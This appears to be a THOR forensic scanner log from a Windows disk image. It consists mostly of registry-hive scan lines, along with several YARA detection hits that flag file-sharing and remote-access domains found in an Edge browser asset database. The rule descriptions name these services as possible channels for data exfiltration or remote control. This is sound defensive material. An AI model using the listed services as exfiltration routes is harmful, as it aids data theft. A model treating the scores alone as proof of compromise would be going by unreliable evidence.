Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\5b2e07ff28cad60e_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\5b2e07ff28cad60e.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\5b2e07ff28cad60e_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\5b2e07ff28cad60e_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\a5e4690aed917d1.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\a5e4690aed917d1_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\a5e4690aed917d1_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\231681af6ae864e1.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\231681af6ae864e1_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-2213792943-3978625667-3641601853-1118\SystemAppData\Helium\Cache\231681af6ae864e1_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\231681af6ae864e1.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\231681af6ae864e1_COM15.dat
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\231681af6ae864e1_COM15.dat.LOG1
Sep 10 12:22:22 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\231681af6ae864e1.dat
Sep 10 12:22:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\231681af6ae864e1_COM15.dat
Sep 10 12:22:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-395486425-972718290-1458454356-1001\SystemAppData\Helium\Cache\231681af6ae864e1_COM15.dat.LOG1
Sep 10 12:22:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\NotepadPlusPlus_7njy0v32s6xk6\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\f3851eb54fd8cf6f.dat
Sep 10 12:22:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\NotepadPlusPlus_7njy0v32s6xk6\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\f3851eb54fd8cf6f_COM15.dat
Sep 10 12:22:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Packages\NotepadPlusPlus_7njy0v32s6xk6\S-1-5-21-2213792943-3978625667-3641601853-1124\SystemAppData\Helium\Cache\f3851eb54fd8cf6f_COM15.dat.LOG1
Sep 10 12:22:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\NTUSER.DAT
Sep 10 12:22:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Analyzing shellbag SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\NTUSER.DAT
Sep 10 12:22:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\ntuser.dat.LOG1
Sep 10 12:22:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\ntuser.dat.LOG2
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"cdn.discordapp.com\": \"{\\\"Tier1\\\": [6061, 8741], \\\"Tier2\\\": [3127, 7462, 1141, 3604]}\"," SCORE: 40 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule KEYWORD_NOTICE_Domain_File_Transfer_Service_Aug23 / Detects potentially suspicious domains of file transfer services which might be used by attackers for data exfiltration or hosting of malware SUBSCORE_1: 40 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "cdn.discordapp.com" RULEDATE_1: 2023-08-30 TAGS_1: KEYWORD, T1020, T1569_002 RULENAME_1: KEYWORD_NOTICE_Domain_File_Transfer_Service_Aug23 AUTHOR_1: Florian Roth REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"gofile.io\": \"{\\\"Tier1\\\": [6061, 5938], \\\"Tier2\\\": [5952, 7252, 5277, 7989]}\"," SCORE: 70 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule yara_c2_gofile_io / Cloud file sharing https://twitter.com/BushidoToken/status/1691795030841680093?s=20 SUBSCORE_1: 70 REF_1: not set SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "gofile.io" RULENAME_1: yara_c2_gofile_io AUTHOR_1: unknown REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"launch.getgo.com\": \"{\\\"Tier1\\\": [983, 6061], \\\"Tier2\\\": [1125, 8469, 9598]}\"," SCORE: 50 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule yara_c2_getgo_com / Suspicious Domain Name / FQDN used by Remote Access Software 2023-09-16 https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md (SUSPICIOUS, REMOTE_CONTROL) SUBSCORE_1: 50 REF_1: not set SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "getgo.com" RULENAME_1: yara_c2_getgo_com AUTHOR_1: unknown REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"mega.nz\": \"{\\\"Tier1\\\": [6061, 5938, 8223], \\\"Tier2\\\": [7989, 236, 4915, 5277, 8223]}\"," SCORE: 60 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule KEYWORD_SUSP_Domain_File_Transfer_Service_Aug23 / Detects suspicious domains of file transfer services which might be used by attackers for data exfiltration or hosting of malware SUBSCORE_1: 60 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "mega.nz" RULEDATE_1: 2023-08-30 TAGS_1: KEYWORD, SUSP, T1020, T1569_002 RULENAME_1: KEYWORD_SUSP_Domain_File_Transfer_Service_Aug23 AUTHOR_1: Florian Roth REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"pastebin.com\": \"{\\\"Tier1\\\": [6061], \\\"Tier2\\\": []}\"," SCORE: 60 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule KEYWORD_SUSP_Domain_File_Transfer_Service_Aug23 / Detects suspicious domains of file transfer services which might be used by attackers for data exfiltration or hosting of malware SUBSCORE_1: 60 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "pastebin.com" RULEDATE_1: 2023-08-30 TAGS_1: KEYWORD, SUSP, T1020, T1569_002 RULENAME_1: KEYWORD_SUSP_Domain_File_Transfer_Service_Aug23 AUTHOR_1: Florian Roth REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"secure.logmein.com\": \"{\\\"Tier1\\\": [6061, 5938, 214], \\\"Tier2\\\": [7816, 8469, 4426, 236]}\"," SCORE: 50 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule yara_c2_logmein_com / Suspicious Domain Name / FQDN used by Remote Access Software 2023-09-16 https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md (SUSPICIOUS, REMOTE_CONTROL) SUBSCORE_1: 50 REF_1: not set SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "logmein.com" RULENAME_1: yara_c2_logmein_com AUTHOR_1: unknown REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"secure.logmeinrescue.com\": \"{\\\"Tier1\\\": [6061, 5938], \\\"Tier2\\\": [7354, 2349, 8997, 7539, 3006, 9121]}\"," SCORE: 50 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule yara_c2_secure_logmeinrescue_com / Suspicious Domain Name / FQDN used by Remote Access Software 2023-09-16 https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md (SUSPICIOUS, REMOTE_CONTROL) SUBSCORE_1: 50 REF_1: not set SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "secure.logmeinrescue.com" RULENAME_1: yara_c2_secure_logmeinrescue_com AUTHOR_1: unknown REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"www.logmein.com\": \"{\\\"Tier1\\\": [214, 6061, 5938], \\\"Tier2\\\": [8469, 4426, 236]}\"," SCORE: 50 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule yara_c2_logmein_com / Suspicious Domain Name / FQDN used by Remote Access Software 2023-09-16 https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md (SUSPICIOUS, REMOTE_CONTROL) SUBSCORE_1: 50 REF_1: not set SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "logmein.com" RULENAME_1: yara_c2_logmein_com AUTHOR_1: unknown REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:22:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-BxzYg1khKSI ENTRY: "    \"www.mediafire.com\": \"{\\\"Tier1\\\": [6061], \\\"Tier2\\\": [5952, 7989, 5277, 236, 4915, 4068]}\"," SCORE: 60 FILE: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log LOG_MODIFIED: Mon Jun  3 20:12:06 2024 LOG_ACCESSED: Mon Jun  3 20:12:06 2024 LOG_CREATED: Mon Jun  3 20:12:06 2024 REASON_1: YARA rule KEYWORD_SUSP_Domain_File_Transfer_Service_Aug23 / Detects suspicious domains of file transfer services which might be used by attackers for data exfiltration or hosting of malware SUBSCORE_1: 60 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "mediafire.com" RULEDATE_1: 2023-08-30 TAGS_1: KEYWORD, SUSP, T1020, T1569_002 RULENAME_1: KEYWORD_SUSP_Domain_File_Transfer_Service_Aug23 AUTHOR_1: Florian Roth REASONS_COUNT: 1 FILE_1: E:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000004.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 1107526 MD5_1: 7b4d0ca1c86170e1955d8d063841edf2 SHA1_1: e72f26be35273d485ffdb90d4350a4c20a456703 SHA256_1: 9e06e62493748941dfe9ce423418ce5e51f8841419221c29f41a1190871e4987 FIRSTBYTES_1: 6274fa967d01010c000000000000000200000001 / bt} CREATED_1: Mon Jun  3 20:12:06.181 2024
Sep 10 12:23:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:23:40 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Analyzing shellbag SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:23:41 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
Sep 10 12:23:41 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
Sep 10 12:23:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\Settings\settings.dat.LOG1
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:23:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
